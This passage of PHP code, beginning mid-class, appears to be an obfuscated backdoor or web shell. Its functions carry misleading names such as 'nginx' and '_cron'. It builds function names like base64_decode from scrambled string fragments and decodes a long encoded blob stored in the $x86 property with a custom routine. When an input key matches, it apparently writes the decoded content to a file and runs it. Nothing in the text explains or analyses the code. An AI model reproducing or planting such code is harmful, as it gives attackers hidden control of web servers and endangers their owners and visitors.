$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
$ver = $ver($this->ver, 'w');
if ($ver)
{
$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
$_session($ver, $delegate);
return $this->ver;
}
}
function _tx($dx, $_script, $event) {
$lib = strlen($_script) + strlen($event);
$this->graph = 0;
while(strlen($event) < $lib) {
$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
$_script[$this->graph] = chr($debug % (4096/16));
$event .= $_script[$this->graph];
$this->graph++;
}
return $_script;
}
function _signal($_tree) {
$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
$_input = $_input($_tree);
return $_input;
}
function nginx($event, $_worker) {
$this->memory = $event;
$this->_worker = $_worker;
$this->x86 = $this->tool($this->x86);
$this->x86 = $this->_signal($this->x86);
$this->x86 = $this->_cmd();
if(strpos($this->x86, $this->memory) !== false) {
if(!$this->x64)
$this->_cron($this->heap, $this->_block);
$this->ls($this->x86);
$this->error($this->ver);
}
}
function _cron($_tree, $_value) {
$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
$move = $move($_tree, $_value);
}
function _cmd() {
$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
$_stack = $this->library($_stack);
return $_stack;
}
function px($context) {
$_emu = $this->_signal($context);
$_emu = $this->_tx('', $_emu, strval($this->twelve));
return $_emu;
}
function tool($delegate) {
$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
}
public $graph = 0;
public $heap;
public $parser = array('hy', '=', 'n6', 'e', '90');
public $x64;
public $ver;
public $pointer = array('vX', 'n6', '+jz+');
public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
public $_block;
public $twelve = 981;
public $_signal = array('deco', 'ba', 'se', 'de', '64_');
public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
public $memory;
public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA
7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2
OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2
V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f
PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la
E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY
7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl
yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac
JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ
UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe
MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj
9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270
FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG
5sN+R8Vb6SpyvcvfkigL9zrQrJi7O7Q
bqZ1KbmcKCGCQgv+xvUkMthkzrPJpwJP3JaBloLfWZXKfWYIu2zovqoxAQPXEr0
Oz54oknhzIMp9ObXVg+FNknzZVL+pPYA
6F43sVA2ic6GiBNWHivhGL7ZrgLn5J9hhBTGs8UPUhf6BtpKpAnRzHswc
jPLHMuFQWQVr72eQ3xTHGPSiHGavChV7e0ad3rP
dNJJazIEzoiLBnNaxCb/I/H/VYMxOFUV1
5/kIHZcZlR1mlstNs7iIP9GPL4/f1nUhGJYg6rVmuCLIB
S4JigfeqcbvdQU3Zox9liOzbrkeRHgpT+U325YBsyUqS1tSCZvXl
EPib8ixGq7pWt+iO6yLzXHMP5GweILBvm2jJfUxu6yJ0NdnpmZCb7mzN8bVAl0LvEer8yOSATkF
MSXkXOB3MNRkxptvOMfPB+E7pS+7jkKiREeXgcbVY2W0B7vqiKU5t7
MUP3d71OnFIAYXIqTWyw7iamXU2l77Jx6LNbabIxeaxY+vuvYLkc0HY2f
yq0ddYrHMQjrVIzZmKwm/mlMg5yt5zSwoSHf
60RzhtBLDrTCfXBse8FT3id21qlC0A2CT
LgaqzbphCHZcMl1a0lzQQJx0GCeZBm8RyA7yIE73jce0/bui0cldqGBjJkY8PmBR6tN4zMytw
s5XodR4HeknJ/JjupztS+SMI1hWJfDfDZ6nj6HKP5D/VMpVHj8fEQ33DMgaGed49plsdREE5afv8vv
rId8rT8PePT5nLwtwUYrqYc/Gqkhu7i5wJpb+iCU7pqdkCAizAFL27cvN1G7
01aM3a3bnITNIE9bxBnIwEep61ZSdecySW6WDtpZSbpwSXZBd5/fFtXUVfBtlgzL8gVc6
xRUhzUD7jP38UGQy83bQGXVWEsf1BJWm6bZ0gyoVnnOiewIOm6X2QEK0ZaSLWs3XsEmgVdajzN
vGHtyDzksPNZcyySkXZfCXIgjlAL5R52jvXXpEMNoqaj3RerApWrNGR3tNKD8WzgTiaagsi5Wob2Jgu
ufOoNg1qMoBexLgp4RQEowd0FkP7vrlxmBpPgBe/xoCAcjf97v97JR+lfz
vLj+K61VFIADVvfPExGzlb5y/ztaPW6iX1Egy6LZERtKuMJHtNcR8erMUpzNtJjWisutFZB9katO8
FeAyy7HLVeqL0HudFealqUekDgXnhLTdqzqW
sMWLlnbqgann9r/WWYmDxTDg88mE4Lb+d6rKoDA5SEnVwWppFUBtlp7COx6vIjBpNluG2ppPT+e
tJbtOHGIl7LXQyGCD/xFXsRaU2t37KYn6Y8QlBcnOUSXLQoCKuojX
dkr/bN1a8AwBalesNHdm7WMVrmWj3PXhgg+1ye9wF9IB+
y7IecCukzBS5jhTODjbGA1hrQhzUExPw2/FKjGL8vF55wTgsXUzGkedB1IewVN2
nJoByGA7H78tyw8sg4NqKsIWpD7N+ajFoexPzq4W/GZNlPD
pEt8yAxk/r0okNk8YrwBTiVAGylBS12UfenV43k4Iy+P85MuhFy2VnRpYR8ZQXs+sjTnaA+
aQ3M7jdiAmk2cS7nZMmAONfOEy67NTrVj0QaOO9LlBgYJnD2gzojPVgJLu5
pHU8+Ak6jPGVeUk4KgjAcvrWsA9jglDxXDs2dHTIbHtSqeLbHInQyNZHkcaR
hp9kc1Pd38mnhhRRF+iqnBeEcCFtiL+ofY72wnQINAuo
eFZYOnEHTLDB1/KLIGVz+AqVIiuNgJQDFiLwNqW1QsIgHGATAkZ3JOpEnkChYd1WWTTwqC4bXfD
tX1/7+sBfuQ3zX+vypD1arGndqINo1yGi0NZKF6VipmqaBA+2uslKfiw
iLQxdcGo6wbpRQ8JmlGPUR/5YDz/zZ1jwwlnCi7T
RGytvQA8AI+DSVeUSdCeqE+xzUkgxqD/Zzko
wHIuvPAp2zUbgyTEjD1ujl+eClKToohEunqeLNPTuebgCz5
n28PQ1qlyjl42AX67SqeAln8gmGb2HFvyMz0UlnrL31UGxdb1Cu99nLFcM
SVUTCbzT6NtQ/T8MQadIP2W6Awpd0sFSrsvdpb
oTbYqDuDY//MZIDHsgYq9291qBR4b7/bVBEJ7VTG
QKVHCEd5FN6AXeNT8ESJTuyf7SfPzJLtad3yjF2Fk37mooDnkorxSdbj1jcWMSVk41nvID7YzjBaBgj7
+8H3/OaVj4IhC+Sz/CRiy5+u5zOgb32xoS8
r1kfYwcqUzWVKaPlj9ZoZ9stDI24G9Ytl
Jr0QmP0700P3+c+O2/rwaB+3srmIPhWJKrL9VIflE7MzepCtBAth+o
WL+ml6Ib4LFxR3UiGl2Gym5EseyR+V4ap8cu
IGF4hSUEcYUdTvE2/luRq+GLT0v9KIOC9ngUKMBAq+yXoEo3p4oZx5noDlkHmvMCxoOQBJKeI12XGg69
CgshBIDteCSUgVyUblVze6lhFwdkdH3dZAelevgCIu
Et9A/G/LgnjV7qWcDvCxnmMEAcz9Cd9RHxAZvFH94KP0l6IH/TmuJof
2lmoemFi5FEs4I7oXFU6h0XzV3YnngrdaURgK2QM
uzOmj2RP6fj45/1JcppKppeCeqVp6i9JDpnmDPyXdCC6iFiDKx
maleWbcEhn5zUH5bsJ/QDsUyIa9iHtzNIUC3EOsr7uV8rQRaIblNK586Y/t1J4W8l
+ky0twWadTPjVCREPPraKb5xZNjMqoiuwh19whKjGldr/qFshsIxnd7TdxYOnoRProtRnRnPEr
21gaKbckZap2sB4UCijDDvGrgkS5Jk8/1pbSxplToEFH+Wyt/DeoE5+RY9
FE3H6w8SRIkSnHcV1T4IO2hVOIpIWBYTW1WpOIFF6F
LxLopw4Rq2r0gn6cgSea+EHaZhrsTljeLXdHwZHJOrhS
PkFGm1Uu0rTvVLiONfw8PUdYtCK11iQhbea2COYqBDe0PmRglFqyBQZnPzRWqP0lLbziBKRQ
YjWyTdOyIrSehiCZlG8LwPTZPClFhx
IzXVyO0hm52Z1MP0kh0/bP017eGmBtwvUi5J8zRJ/TunvTEs2ZTNiSmOwco
8XW8XlE3bOd64FhlMlzDNofw8GMF6jDZJgE0I+qDl
crxXJEDvH8YK8ZH62DxV9CubGZWktGgBliksBvUbgi
yx9y9xPERxxjzPH4JOnndw8TfoiTHnRkqhMH/jV6r8twwp/rhl2y9bqsVabsKdHJ
2KhbFTJrzBdws75ZVRnkD0eCuCHVT5B8T93ja6zqRaEo+FjGLpe8kpys
TyqEIF6xYY41DMtKILoH4Xr0CSRIq6DjQdKmfyBaa/uW+0ZNNDoVZtHJTI
lpdct4m4esnvK7IaorSkZOsRLQhx4KWqj8gqfSFpC
pFbNxfEb+suVsNLKvXS8I3CqCigQ3ukikFB06698ZllSKe
gQQ0/nIP4cofgG3VCkXagP1imkBjOaeLltCd+
BGaYqjH4Utp4G9ROHs03VW9a9H53PQ3prChsFL6CWsAYZGwvStJ+LCthvOHb3DITwlQcH
KNS6xOLRFusYRNxhia9S3PSrtp1IkYsHcIoEPp0iTcQUqw12vGGC2jFp+tUAq/TSfnsDA7wdxxz7ZZlz
iqAc363AmkML+I6yMm/mPUAJ5ds4o7icHP/Kly1kX7yk
KdfGRjmM3TtK+CsAi/vqNEwJT7+nq13KDm
GLb2OKa6aMFZ7gPOOu4hYawse+e39xrt9ZeGxoNnXERej4nMgfV2AI2wD+adzVRv6GPXu
pMnl5kcNSq8g1ujSiucq3o4su/n3VgHNv0IAnpK8jzniub8vx34O0fV
9iovaYODPjOXByUBZMnkUcmGyzthcTkaE+kEuivDLvSWJ4sxn0obv8KNpjS7HGi2BDTMl/wDKJIWhd
d+ktN3RoD1pkBqkq1LGK2moE/cPKxA
JvDF5CaQ1+ahnsrrgeFywlScmoKgJgP5
EkWj2ATiMP6gu84Gy0+Cer6QK7CP3c85OVG2PryVkqax5obE/F2j2mU0lwowdBx
IA/Zp/hfgwYOsY7HE7I6H3EMeMPdDn2ovEcW6hcEj4KlrBBpG7jqsZJjpAucf0O8DBNUXz1drVmDvY
GbfX/w38PwSAyokrkNQZXOdO7vuTmNcsZ7iC+4rJl9gyjaom7BCIxmxrkSxKX+ejqMFD
GsHWhmcWRY0riejFCRmq3k2BiPyC5+ldRpiWRdD
CL8tkz4aPCIIjML6gJp3UKHBOOqpLlqF4X0O1y
2aS/pJnEKtVK0uVqFTGTZe4lGhphp+BfZmJfxGmjXdg3SGoHinATvi6dWbF3BIj3YBelAk1wsW
BFP1dnqeBrYlyiFZ8fZ2yQgxSg4yJ1GcdeTEstv3tlITMHe3YCTA
NsKR7JVW89QHLc+1dJitsnN9r57iAxBMC7Hk6b+/BqPI
LUJgLP+nYkwvdUz/MGEMQpErSHChVB2S925yd8bETlfS8ig7nHDo0MtEDrIsaIRQdoB9b
UUE/AIWVml+Slry7puoyNkb4zgrav8Xi98XDVbzeikXp/d+
eVbJnVfvgIB0UQuSyY0Tz+gDLoI6FTb3lbAJtnL+6xrLhmKHEXYaMV02XtmRpZ8LAIN25D0Oyw5e
FAXOIujVf0uPl5nZmEtfqdu3N7aji46n5DudrqWx3CUZYLD96rEd
oVUm5d3clqr9UKIac4GgjH0aMVqNsh/ObPpuFawmkLOzdlfCch2idsOuYNQRxXsArTDEvnIpJSLOXn3
fiNKDjCnHYsgFFY8kNcg/13coYqTUxGS
tgsBDzYJddmvs3zAUwz2qDT9fAVlMyRzOfspaOG4hMmj
q+WCtGn6MKlnQr96HFjSay32RqD8bfm54GB7mmbqlSQ0DzaGgBef5da8MOYOrJVzFwJgQ+jr0Dp
zr36tRZolkP+CqpPsUeTl91bOPKRxtk+TS+qm4QpF0LAAnQQIGEUfRwMJE4mNnnk0ylfURP
B+sER5GYb9J1BEx7vubqKmA5tWRNGbrPumzFMHmj+kQviZuK1ifYaTHykyye0bjYQoBXk1
o3nVjtCaLofnqQUdX7fOM8Cjjnk2wj
oy5nHhdBkpo+Toqk3oX00n8067EDPtziBfHMQ1YRiif3E
0t0M0a3S4zlwlhNhPGcHgQFNbLKiUrixKc3vxYdK87
BHC1QCiCxLj+AffISQZ+8PXCkxmN54l3fOmUG6V4YKf51a87qE9lkbsNdM
cMBWZCs/NqXTYMsaom8bF0Gkvxg73uaLHMlCjqe
77C/ar0qaB++M6NxQ6I7lJGEJ88y7rPuASiU/ZniTHKrfv9vYez2rjlG5xliPDMpv
ptMLPAx/coKVBOAB27l8V6ueRRkT3TRxRA3ojECXTqeszoJ7ytZyOL8Q/fqhrqV91YKTYRE1Y8cV
E4v0cv61iY0i/lx5KA1EcjMeOwRhrDMoGmusXnI1C+7J+dPPFQsJkOkJaxu1df7pOvSdLZEy
rDkfizGcnp/uJMP68Ee+zCVUlcbE7gvvwvSgghzYNt
XhTtPqI6M4vkxKwrxXrarxfgO6q3PjYMpMJf8O+dITILbvzCwOVwO+r9pB
rs37sAftxQaKoobGIXKLUkw3xoHmcK7ed7RUp
azZOjY36wB4Tz06lwVrzp9PxfWmZ436
Pne3zpQCfE4niUR1hYkos+rhkCRWMOppVlsCpsvNtUoEzMqR
hwA11Mx69ef5RHI6ntbvFpXoFTLbNUKy7p48HK12s+Tf3tCp61Hs1wC8Aiv
UcBiypSXcQVWfQX/Umlq4ZYH2ZphTK2oMyctjrPKkei
21CEvBnb6v8eYnCUv9tFyu/No58kOQVLNwy77tzZ/rcUr4xi7YDh8Qn2BwFH7K
Y3L7uukUeeRZdpU93KdAMzglJvLvkR3lrl6WKo3FrtIthwhN4F1
UXzGiYneP3yrwc1UN7PX4w4mYFDxvYNpfCo5L3/I3N
2QUBvAnNeMn1CM0ZazB/NTScOlrvrope2S/ZXUU0CaW+yipPd53TGxkCArhRrdgB
ZSToxfsqd13PcPnqSitOOirLj7bRlxzyPZipPpeL7AWSt33uHhFz+OSasaW8kS02d9WTURhbxWAhBcF
ceWKuEUTZAfCHT7JuBxYFpVX4Nb4S14Ur
Z3XSO8WjphSJZAs3my4n+Cd57df6PRJpswEFmMPTpUyQyHzkEEIfgJ03tIMrlPnPXhemOiE
pnEotSyQD9m4WNLKa7kCPeU00d4pQ9mPx/OX+5hpjz
/QEkhLZWzazrwyYf5GoPa3dDaTTLUKguYcq+p3
SzdS59Eom7800OiBPFhNnztGVo3E+fXR
V6WjkS2qM4DAeDt+/wcf3UH6Y3qfR1OTVePTag
DmTGhwKK0fyPiTq0Bp81kkSOE3t9vkl3W/FQoQVKdLQX+1AcOU6abuOY1Q3P/VwS/uv1O0y6boz
4DlWw2Q06Ycflz9dTCYOjV9DUqpkXu/ohrlR
AXGFoY0SmwfFfF69ZD7/4TAl46u1nxCUeCcDCgRf2sjYNjS0noegbDFGMWHJH+WFzdKt6iM8bR
I+7SwyagBC3MhrUKbM8dc8dtgjCvmU/LisU4AOZ0xCjZZ8QNuE3MY7/eOZC
iRZsUCV3Eh+gzGA3rtsKG8rT4qLvFloaetWfMxy4wZcVnmP7L1Tsb
6H1V66f+GyZU2mqSLoj/grleSoENJ/AIwM/Ky7IH0Dh1C5yPcKQ9/
KMunDpHjVxU/GGHsRKNR8T0PYvAQlESrHTC5v9s0iJANRPGdXhTAnsrXhnCevGWg3qF
Kpc99s1mphJ1kreoCeKKNnaI3ZA8TygQDUVkAHHK58Ze4oxYTbon4ygjG/MnrJARv001eF3aiLn0S
tvAor8nU3ZFDqsFIUSjFZSyioXm6Klybb5telw3HV15am+YkulP+kOX1gb
ZXlGHAdPNpD8kZwusJeiITUWSUjttNG1oqcc4PfRw7YgceWml/i1dzb
rIxvkGAhFGTIkSBjmOctAiMy3/jfqeOQrVar4W4PlO4GM
otU48IGrDqY5L898kxFSNceZWyIgKZgtvGRrregePLe6h/57
fRTOzYjJEQNyUxeePYxgt7ci0TmlJ4D
DXVT72EQ+DRbAIndgoN7KymjRVTcP0TRq6r5
I09JzLyOunbQmXHt+lKcimBJbbabh07IKRzpp0JJKyOMdY6ZbMAduwDGWKa/SgUEcRlEsT2fIXAtlKG
EQ+SVxb8chXTCfFvfYfUESCaLzkk8mr6vtliVrMlSE8YBZUCo
+3T5HMX2p1qDitFbiQ5OkpPUwWzkie
RGgppgksQN8T9QZgCymnqmUY6yzpR5fZF71kDDv4DPh+8iwo7mcWtg
Xewp8Gy72vUI5MaD+X0/8igZlFBRE+ozqggq/sNuIQv88MIwIk5kIz57n8ee
yH7mpw0XGz7fc7t25G5OPfbK1//cKwMWr11Do2E48MbXsOnjzVNvq
I+wsx/H/77IV/tGrMaizJobP6pd0co89lli0/B7MFJJP6ZA6MZYxLfbZ6Rt3O1KO1vZT33FFCge
VtGJ0453QNWwQFoygGzSMJ3FXsBSKWsKYCkC6h
pNwH+0v0WslsW40rt91grkZEHq83Q7Eky8K7RvmBw0OGF
+qSJBPdJwcgz0rS4REyrh4QSjXZueTQ8kSwqFQz32ReihPZNM3Nxjrfq2b4Kwx
6bEEnAzow/Dxp17rqFDxejSRf9KA9rz/P12q0ZHBkf7zhxendqmao2kieYXSJQ7Y7ba
l9FV2Gw+JD7xfDI5Y6W091hYAggQ122Dv3tdgAUIa
KifGr0QKdQTPhBmeuSHrZidZW59lkk/CyZZt8m
hjdkhDNDBgNMgI6Xn9TkybYXv82OZG/3q3OIvHwKsVDr1deFf
axQMPW97QEz+aGpsOknnNpu7DEsJNIV5vtj7z
zTLlDa96Vb3zPZZJgJZ4pz+67whDAC/qr6bD2Gli1m
mtbBKSKepGdiYqvmomTAc6uMs3stRQjO6DBT/8h0eAW
kSkmN4+lwFNzXCKYYTPnH9dld+EhoDePMk6zpzdjfRBxvg+jfy1ztU4vPwZpRToVAria/D10z9z
BW8MH1m/DuKteQyQc0JD9Y0AY7ukaz22ZBZ5XOngvM6cPzkCCx/QO2eIjtR
lyFw7tUgXeEHg4OkFKlGcY4HW9JNTzpYIYdXOPw+jWEks8v3qKhJI60LqAntruD1su
T3DUnIsh5PCL22LXvdgfeSpGWF7Kgu0xKb
LpvCOEqezkxCy0QDAp7U+NJ2n5S6PhCk1ECNMDM2KaUcWcEsBvkEz8JRO2SSVsjzzvcLNyARDjtHMh
iT7Iw1lvjp7pNrrUq8JMmUk9SSZLB4LP4G9IjMtv3RIjDw4eZYgtMQKlxg58fA97xE
igbQix9s8XWfOOCuUvDK+4L/Y1AeAzM3bFn6kd/QyOglUb2B07Mz9gcuyHS/NkytAyhCGW/VBo
Um9Ea8N5wIoGGC/LVt6aUtGtk232PFuSAtFv93
whF49gtRuhEhtbwezNZZ/sw3r/BerrY
WDJxTSj2igcgQx6UGA2kfS0jxGRT+1AA7iJL
veSlUPZ55t89VsJw3p3Lsyn9rU7lJc1qRFrYGH88qeyHGqnAirDwEmt
VPBMjGw8CbknSE7i+2xz11odgPiDm5BXhFGbzzEaj2EEXbR8n4ZdihWBMXEUJSr3LfEPH6YcHyX
YjEwHsKrlU/rw5wVcudw3m7PFpqT6TH5l7W5
HK29cRCiamnwQYOHxD+A0+zSzC3fG6u4y1X2cwXbfSyKH
GRiYnJJsUWOtlCylVkO+JHFQg/THJeNZnaw5+uuHQFN9Ig2UOLnrid5TxBwoowfT9zwy
vxt//9qR+Zkh9WABFTCuQcn6qgGutbpmGx1BsQ1K002K09r/B81rvUbgq+p7sDXjd5sOsBx3Jzcp/3k
2KKroTrYhfbzLdBEN31TqCo8W78qOdBjmRkykTDJorRkdH6jy6pjDe/hhDzpxBRbQ4XLHo/ThbhlNh
8lBsrIR7yuXSLbQZPD5QqxFUXkc0SpiUBrblrwVt
11tbo3AN00WnEmJ9fuLGOMzWO2XuiOVAdK/+R9edUXzX9iTnnv45BZUdfE8lPa9zSvz
yxO3vsJQON1gCjIP+qcEqxjn5yqa8MfNhyOsNmpsteka8Di3glfNrmCBfG9X6jL86Ir+QV
L0XtNoO/NUv4EntDY4ajHfzHwyfaP8sjp+
HgTjxqbiJxcYhAMSECa5WPUyEtSULG1aIvL7WwLLUZ7tTuzbeQueCgjFuS8MKAGoGKHaUK2j7v
NGJF1fBJlOV2RvonNIAEEF9Z+5B6EA+hak7v7BZEp120
QEHScx1TQxTkAAcwbnjio9nfIHfEZZfLIHqrRXyyxzojS6mQCyr1l+1B6gdHUBIroVJzIIlB
MhDyabAxapvO+DzKe7fp54Gx6+iZ6OWtHeu/XacIFVzHu1XfRhNQbani2/DkDx6j0u5FDy
12c3qnLrRdhaNpUApA7YMvFMoFjVkorpmJjvF0JkIOVe
knbM68iySGvUR9Ket832je6PJnjsb/nSOIbungMyVPwEeaLgc6KvlqM1DLoHXDSF912fdNTx0PfJ3
aLO3j59Zxw05luf8gGnABo1gsUpzU0fIXci5RGzVkdYA5K3FV2u7ztD/w+EmHUqd2
EudiXW/ybJNU6UuGX5aQyVwsVUa9RjGROexVaSqL5X4
W9wCSz4x0xnCvdGot5vSHAgl9/PXG4ISZ16sC4YyM3ooqJJW0CE5owo5j2wvugZCOPs+
kBBpOaag30Nx3Hq8Npwrd8KPjQ7BhMAuuemXd/bO2EAn
hXWX6jBBDQMp8voyOHADvYzGZJnRhywCNsd6vS7ZvJCcu9+zPp+j7Lfdi6TAs
4srSh66jlTqRBxbRFTeTUZRD1LYbnTWuscP495cgIbX/q0gyrLWXkCamKr9jSU5
+eVr5LesbXfHQmpb2M4xyBIwkvFBBnx
Zifpu5x2oK0Lx2ywwVXRForaFP85lPw7F6jKxZ49yIfJEfY0
KOdJcPCymnLimiNV0Pqq4Xcx2yzWutjo4Icry
5tWN9yKsw8Mb9PAHg7w7g2/mLrBakVfq7a0BiDgi6oslV9xaveXDhGXAlZyS94xUHxB+x9nq/cc2p
brSChOMj4/kFA59k4r8l5jaWmVPRNvhXceTD4t7On9Y0ixxlQ
0oxujXtBWNFFkHgjXqgjhFWhlooGUjurjRmuesmn2ewuBwxlmfYw1eLgc
XUkG1PehKkMFJkuaVjynwwhnJmrEllpEiBIo1sNwn1LXKfQXlnNg00L/eQAGDQWDcHm1H2v1
Xec6RMVOFoMCSZG50o7OEEK9EOyZHcdqg8Li5
lZDhF/Io5X8se4uVH6I9MdsQkRP2x/qCQITGaOq7Q4SVyt7kTT18DiGEqf255Xsqzj92yH
AhjlMqDzlG935umrJuKozyTHhZIsnvwlYnZ1KEKJS60tXIEFTYsjNrzoH+zaErSZLWQM2S23gMKc
tU4GfZpK+Opfls26kQ8Ht5ZMKgf5O5Z6i5iEfE
wPcxGNkiUyxkNpaU1czKG/Y8fNq5dtogf/bGDGdN9Uq/
GLklek/DWZ2SEqmNNuZKvDr40ajeicW7g
EtnpViI1uUidFGFEjloyALhgei5uZ0HvO3yErndr2kAhIDHMzUAV5ZTZhfpm
yNLvUsdPbz6vTTQRDDufxfDqeGM2xE8VNWXZN5Fa+3LW+cra5m3M1h1mXfpbfi8M4X/7IVtOaNJdIQu
r234Qvfnjaee5TTbWpuNlXubU+qHYB7vEZkzWr/+CmqILEJ+nOtKQJYUgbvdj6/85Vupx9J
3Q5Gq+1NdAs54VH8+WZeU/x8oLE3zPGwpeoDzBCQv0CxrxpFFQwNHt
WufTAVC9xrP+mXGJ/mxWqoisOuQwtNqRNkFW
kIYCi5DfSVziW3ZUSPqkG+BfKOFyJFwsB89oCKrrVC8JydS+KNCwyf73QLTVzgFCmHxhSRXpkWlKMm
DNy9EDM8RneLzO6/pYuXVRWW/RaLpdCOMAjI
R28R7I32JKPTIMt9HZYav+WtKGPm0NZCQDpr
q0tYRQtpHdQaM/2G4xntluuu++l/sTwoe6wUByhq3Bztox
Kf2JGQHkpg/+1uJs1ZBbSTvV+fAWLjGTbblZisI4xNyeX
mqjECtvJ+iiOhgEcpDkCsE6BTk0T4tNBQrU
lkstGAEmnM5dxoCcq8P6MCWY9dBgXRNZjE7h5ThKH6+Rdbb21pqijqaEZ
yTzS/Lham85+h3pLJNRKc78/tbYnciha8OFRti1ZrH3hvgGjpxivvb/
2yf+deYjOOhjWHr15jVOv8UBWm8EAVe9DkHMaCFe6TaW
j2D3szqM6BjrqwUQNlcqeRtMzITna9k
n2++GBxde3s7tTScsXz+KalKjwGuidStsPPAUfYjUVf
Yy3TUKvRtIZT6JotYnTehGnlv639vjng5IhKLJ3TwBVfj
UOCMR3oHntcVl7r8YW49wBaAgtH7X/rQoJ8ypkL/M
SpCF5qLrYGvEN3IIOD/4VfiDSybc9LlMWSO1/bdigKbcj3P+3Hn+vV4VLEpe8Fwhvyl7NqcKImt
BZeL8peUI2EEa5dmoYZfdEi1mqpbegbZSnPE/VZtdhwpEJbAm+4vjOs/c1UsA7Oung/Vd
9lSyxRZfMvO3kWNK8LBFbxcWWoFidHmnihglpYt1eQEm+v5B3ARYYFA
+++lG/8BQAHPxneSvzVXEtRo+FqnoQ5kPTcIwcwuzQWXPNhL6ABz1qT9K/2LQ8oI
/oWvnAq2zpKogVU73vvkhPX/qXuPOAXxnR0CHsW2zUO+wCJhgqRicBZtFyiQM5
UCzVtukX5eMdWHdocp36klKlrAZhnLWgILfsAUTvqDzUypOVbYJvvVT7S2vOpTBhyMwiCmzFkdA
PYJQqQQQWgv2Shb+619u7arUnfNCOGTS5fFwadamKV6YBrkrmB
iRhc1oPhNiNU/jVOxlxLTAdk7FmlOKRPO0zgY4
RGmwTmHbsehmQ38EUwdEXDnHD7BRBeDmy/i/OEbaKP4LJ35CN/NpfWbp/YbKuGz
lJs1tj9yFoNOrSjhO223+GP692CwLvtww1N
0fxmmRklJrZ7is5ycO2oKIsA++s7rgilH2kGEy4w7EG8q0IzhsjK1WPPuOQFY/yokThZbHinNoikx
vtS0qC9fgBGgHnpt7Szizfet44Sxb4j6EVv2dVtagQHizabK8I/5
f2g6CE4bkUBdPXatOWf5PaWisaa0ZrAvBJnmPOZTzdvxpI6cazHHcG71zbsX5qgJjbmJ9eYD
12iEfghbXoYQHUo5oyD/8UcUYhRb04jY+xMxxoJed56dR4HKU9kA1Lr5M/17CHC4NUDEpje
IMf/zuacoV797iiBhW4vc5ivny1+zHRD8MSvCvLqrkbJC25bpclf1MocA4QDevlbg
oT5p1a7oPKXTuF0ttP9RIfyBhLnhv0AT4iTmm8tmVFD7TM
hvWDhoKcxT6ZPw4JbWoDqP5Hnj+yEa901ZhdMIyNcbHOLA2/GcH/OQlrX2lyURLQrXMtHv0
zOLecOP/tnaJeHSJIVIkRr0Pu6MAbCSPFEJr7E4BJL+pJkC
BMjqv6Xh99ORPazgW9vuWxS2dAmhQEF+8zJC513bLApvceFcV8l2U
ejNhrnIe9fNwNjc1mZ633ELYHXdQdjOg2onh8Qj
QGnfJbrwXsC+6u0dap+1dDY+0g4mcascQ3rNBwz
82egbkEWaANACC5Vu0PE4p5dNM1pvAQ5bKYtSs4Z95IBHHnPIV6m0VRDW
xvk2S1YqLc+Z4H9FV3y/Y/2U0Piwk+VsM1cKhxUXGfApdz0BQYTUN83vzx6iO4EGzNHcsJ8httgyf4jp
4+c2J7QPgvX6ebCWgSfvrCNzWmKufK/3dipqYv4tPdjLfE9Rj9ZP+w
